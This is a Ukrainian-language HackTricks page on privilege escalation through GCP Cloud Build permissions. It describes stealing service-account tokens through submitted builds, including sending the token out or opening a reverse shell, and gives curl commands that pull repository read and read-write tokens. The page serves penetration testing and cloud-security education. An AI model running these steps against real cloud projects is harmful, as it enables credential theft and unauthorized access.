GCP - Cloudbuild Privesc

Support HackTricks

cloudbuild

Для отримання додаткової інформації про Cloud Build перегляньте:

cloudbuild.builds.create

З цим дозволом ви можете надіслати cloud build. Машина cloudbuild за замовчуванням матиме у своїй файловій системі токен облікового запису служби cloudbuild: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Однак ви можете вказати будь-який обліковий запис служби всередині проекту в конфігурації cloudbuild. Отже, ви можете просто змусити машину ексфільтрувати токен на ваш сервер або отримати зворотний шелл всередині неї та отримати токен (файл, що містить токен, може змінюватися).

Ви можете знайти оригінальний скрипт експлойту тут на GitHub (але місце, звідки він бере токен, не спрацювало для мене). Тому перевірте скрипт для автоматизації створення, експлуатації та очищення вразливого середовища тут та python-скрипт для отримання зворотного шеллу всередині машини cloudbuild і викрадення його тут (у коді ви можете знайти, як вказати інші облікові записи служби).

Для більш детального пояснення відвідайте https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.builds.update

Можливо, з цим дозволом ви зможете оновити cloud build і просто вкрасти токен облікового запису служби, як це було виконано з попереднім дозволом (але, на жаль, на момент написання я не зміг знайти жодного способу викликати цей API).

TODO

cloudbuild.repositories.accessReadToken

З цим дозволом користувач може отримати токен доступу для читання, який використовується для доступу до репозиторію:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

З цією дозволом користувач може отримати токен доступу для читання та запису, який використовується для доступу до репозиторію:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

З цим дозволом ви можете отримати репозиторії, до яких має доступ з'єднання:

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
Підтримайте HackTricks

Last updated